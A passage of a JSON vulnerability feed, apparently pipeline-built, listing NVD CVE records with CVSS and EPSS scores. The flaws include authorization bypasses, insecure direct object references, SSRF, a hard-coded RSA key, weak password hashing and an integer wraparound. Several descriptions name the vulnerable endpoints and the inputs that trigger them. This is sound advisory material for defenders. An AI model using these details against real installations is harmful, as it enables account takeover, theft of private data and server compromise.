CVE-2026-111369","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111369","type":"primary","publishedAt":"2026-10-15T22:19:35.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111369&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111369, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111366","cveId":"CVE-2026-111366","aliases":[],"kind":"vulnerability","title":"cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows department-limited admins to manage users outside their departments by supplying...","summary":"cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows department-limited admins to manage users outside their departments by supplying arbitrary user ids. Attackers holding sys:user:* permissions can call /admin/sys/user/info, update, or delete to read records, reset passwords and roles, or delete accounts.","detail":"cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows department-limited admins to manage users outside their departments by supplying arbitrary user ids. Attackers holding sys:user:* permissions can call /admin/sys/user/info, update, or delete to read records, reset passwords and roles, or delete accounts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:34.557Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111366","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00532,"percentile":0.44697,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111366&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111366","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111366","type":"primary","publishedAt":"2026-10-15T22:19:34.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111366&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111366, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111365","cveId":"CVE-2026-111365","aliases":[],"kind":"vulnerability","title":"cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows non-superadmin admins to read, modify, or delete other admins' roles by supplying...","summary":"cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows non-superadmin admins to read, modify, or delete other admins' roles by supplying arbitrary role ids. Attackers holding ordinary sys:role permissions can call /admin/sys/role/info, update, or delete with another admin's role id to rewrite menu and department grants, changing other users' effective access.","detail":"cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows non-superadmin admins to read, modify, or delete other admins' roles by supplying arbitrary role ids. Attackers holding ordinary sys:role permissions can call /admin/sys/role/info, update, or delete with another admin's role id to rewrite menu and department grants, changing other users' effective access.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:34.407Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111365","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00325,"percentile":0.25321,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111365&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111365","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111365","type":"primary","publishedAt":"2026-10-15T22:19:34.407Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111365&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111365, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111364","cveId":"CVE-2026-111364","aliases":[],"kind":"vulnerability","title":"MinDoc through 2.2-beta.2 contains an insecure direct object reference vulnerability in DocumentController.Content that allows authenticated users to read documents from...","summary":"MinDoc through 2.2-beta.2 contains an insecure direct object reference vulnerability in DocumentController.Content that allows authenticated users to read documents from unauthorized books. Attackers holding a non-observer role on any book can name that book and iterate sequential document ids to read markdown and HTML from private books.","detail":"MinDoc through 2.2-beta.2 contains an insecure direct object reference vulnerability in DocumentController.Content that allows authenticated users to read documents from unauthorized books. Attackers holding a non-observer role on any book can name that book and iterate sequential document ids to read markdown and HTML from private books.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:34.260Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111364","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00238,"percentile":0.14757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111364&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111364","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111364","type":"primary","publishedAt":"2026-10-15T22:19:34.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111364&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111364, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111363","cveId":"CVE-2026-111363","aliases":[],"kind":"vulnerability","title":"BISHENG through 3.0.0-beta4 contains an insecure direct object reference vulnerability that allows authenticated low-privileged users to read other users' parsed documents by...","summary":"BISHENG through 3.0.0-beta4 contains an insecure direct object reference vulnerability that allows authenticated low-privileged users to read other users' parsed documents by supplying arbitrary file_id values. Attackers can enumerate sequential file ids against GET /api/v1/knowledge/file_bbox to retrieve extracted page text from other users' and tenants' knowledge bases.","detail":"BISHENG through 3.0.0-beta4 contains an insecure direct object reference vulnerability that allows authenticated low-privileged users to read other users' parsed documents by supplying arbitrary file_id values. Attackers can enumerate sequential file ids against GET /api/v1/knowledge/file_bbox to retrieve extracted page text from other users' and tenants' knowledge bases.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:34.103Z","updatedAt":"2026-10-16T15:17:14.540Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111363","asOf":"2026-10-16T15:17:14.540Z"},"epss":{"probability":0.00303,"percentile":0.22798,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111363&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111363","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111363","type":"primary","publishedAt":"2026-10-15T22:19:34.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111363&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111363, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111359","cveId":"CVE-2026-111359","aliases":[],"kind":"vulnerability","title":"CRMEB 5.6.1 through 6.0.0 contains an insecure direct object reference vulnerability that allows authenticated storefront users to read and claim other users' orders via the...","summary":"CRMEB 5.6.1 through 6.0.0 contains an insecure direct object reference vulnerability that allows authenticated storefront users to read and claim other users' orders via the gift-order API. Attackers can enumerate sequential order IDs in gift_detail to harvest buyer identities and the gift_key, then call receive_gift to redirect paid goods to their address.","detail":"CRMEB 5.6.1 through 6.0.0 contains an insecure direct object reference vulnerability that allows authenticated storefront users to read and claim other users' orders via the gift-order API. Attackers can enumerate sequential order IDs in gift_detail to harvest buyer identities and the gift_key, then call receive_gift to redirect paid goods to their address.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:33.937Z","updatedAt":"2026-10-21T02:17:06.263Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111359","asOf":"2026-10-21T02:17:06.263Z"},"epss":{"probability":0.00251,"percentile":0.16286,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111359&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111359","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111359","type":"primary","publishedAt":"2026-10-15T22:19:33.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111359&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111359, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111352","cveId":"CVE-2026-111352","aliases":[],"kind":"vulnerability","title":"ThinkCMF through 8.0.1 contains an incorrect authorization vulnerability in RestAdminBaseController that allows restricted backend administrators to call every admin REST API...","summary":"ThinkCMF through 8.0.1 contains an incorrect authorization vulnerability in RestAdminBaseController that allows restricted backend administrators to call every admin REST API endpoint because Auth::check() fails open when no admin_api rule exists. Attackers with a valid admin-type API token can list member emails and mobile numbers, disable members, and call PUT admin/roles/{id}/authorize to grant themselves full administrator rights.","detail":"ThinkCMF through 8.0.1 contains an incorrect authorization vulnerability in RestAdminBaseController that allows restricted backend administrators to call every admin REST API endpoint because Auth::check() fails open when no admin_api rule exists. Attackers with a valid admin-type API token can list member emails and mobile numbers, disable members, and call PUT admin/roles/{id}/authorize to grant themselves full administrator rights.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:33.043Z","updatedAt":"2026-10-23T20:17:20.373Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111352","asOf":"2026-10-23T20:17:20.373Z"},"epss":{"probability":0.00458,"percentile":0.39469,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111352&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111352","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111352","type":"primary","publishedAt":"2026-10-15T22:19:33.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111352&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111352, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111347","cveId":"CVE-2026-111347","aliases":[],"kind":"vulnerability","title":"go-ldap-admin through 0.6.2 embeds a hard-coded RSA private key, published in the public repository, that protects encrypted login passwords.","summary":"go-ldap-admin through 0.6.2 embeds a hard-coded RSA private key, published in the public repository, that protects encrypted login passwords. Unauthenticated attackers who capture encrypted passwords can decrypt them offline or via the /base/decryptpwd endpoint, recovering cleartext LDAP credentials for reuse.","detail":"go-ldap-admin through 0.6.2 embeds a hard-coded RSA private key, published in the public repository, that protects encrypted login passwords. Unauthenticated attackers who capture encrypted passwords can decrypt them offline or via the /base/decryptpwd endpoint, recovering cleartext LDAP credentials for reuse.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:32.300Z","updatedAt":"2026-10-16T19:17:04.300Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111347","asOf":"2026-10-16T19:17:04.300Z"},"epss":{"probability":0.00497,"percentile":0.42321,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111347&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111347","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111347","type":"primary","publishedAt":"2026-10-15T22:19:32.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111347&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111347, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111330","cveId":"CVE-2026-111330","aliases":[],"kind":"vulnerability","title":"JuggleIM im-server through 1.8.16 contains a weak password hashing vulnerability that stores admin console passwords as unsalted SHA-1 digests via tools.SHA1 in...","summary":"JuggleIM im-server through 1.8.16 contains a weak password hashing vulnerability that stores admin console passwords as unsalted SHA-1 digests via tools.SHA1 in services/accountservice.go. Attackers who obtain the accounts table through database access or backups can crack console passwords using precomputed tables or GPU brute force.","detail":"JuggleIM im-server through 1.8.16 contains a weak password hashing vulnerability that stores admin console passwords as unsalted SHA-1 digests via tools.SHA1 in services/accountservice.go. Attackers who obtain the accounts table through database access or backups can crack console passwords using precomputed tables or GPU brute force.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:31.210Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111330","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00222,"percentile":0.12592,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111330&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111330","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111330","type":"primary","publishedAt":"2026-10-15T22:19:31.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111330&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111330, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111313","cveId":"CVE-2026-111313","aliases":[],"kind":"vulnerability","title":"JobOps through 0.13.1 contains a server-side request forgery vulnerability in the POST /api/manual-jobs/fetch handler that allows authenticated users, or unauthenticated clients...","summary":"JobOps through 0.13.1 contains a server-side request forgery vulnerability in the POST /api/manual-jobs/fetch handler that allows authenticated users, or unauthenticated clients in demo mode, to make the server fetch internal destinations. Attackers can supply loopback, private, or cloud metadata addresses in the url field to read returned page content, disclosing instance metadata and internal service data.","detail":"JobOps through 0.13.1 contains a server-side request forgery vulnerability in the POST /api/manual-jobs/fetch handler that allows authenticated users, or unauthenticated clients in demo mode, to make the server fetch internal destinations. Attackers can supply loopback, private, or cloud metadata addresses in the url field to read returned page content, disclosing instance metadata and internal service data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:30.200Z","updatedAt":"2026-10-21T02:17:05.570Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111313","asOf":"2026-10-21T02:17:05.570Z"},"epss":{"probability":0.00386,"percentile":0.32418,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111313&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111313","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111313","type":"primary","publishedAt":"2026-10-15T22:19:30.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111313&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111313, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111282","cveId":"CVE-2026-111282","aliases":[],"kind":"vulnerability","title":"Driftregion iso14229 before 0.10.1 contains an integer wraparound in Handle_0x38_RequestFileTransfer that lets unauthenticated attackers bypass the file path length check.","summary":"Driftregion iso14229 before 0.10.1 contains an integer wraparound in Handle_0x38_RequestFileTransfer that lets unauthenticated attackers bypass the file path length check. Attackers can send a short RequestFileTransfer (SID 0x38) request with filePathAndNameLength 0xFFFC-0xFFFF, causing callbacks to read past the receive buffer, crashing targets or disclosing memory.","detail":"Driftregion iso14229 before 0.10.1 contains an integer wraparound in Handle_0x38_RequestFileTransfer that lets unauthenticated attackers bypass the file path length check. Attackers can send a short RequestFileTransfer (SID 0x38) request with filePathAndNameLength 0xFFFC-0xFFFF, causing callbacks to read past the receive buffer, crashing targets or disclosing memory.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:29.600Z","updatedAt":"2026-10-16T19:17:04.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111282","asOf":"2026-10-16T19:17:04.030Z"},"epss":{"probability":0.00614,"percentile":0.49133,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111282&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111282","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111282","type":"primary","publishedAt":"2026-10-15T22:19:29.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 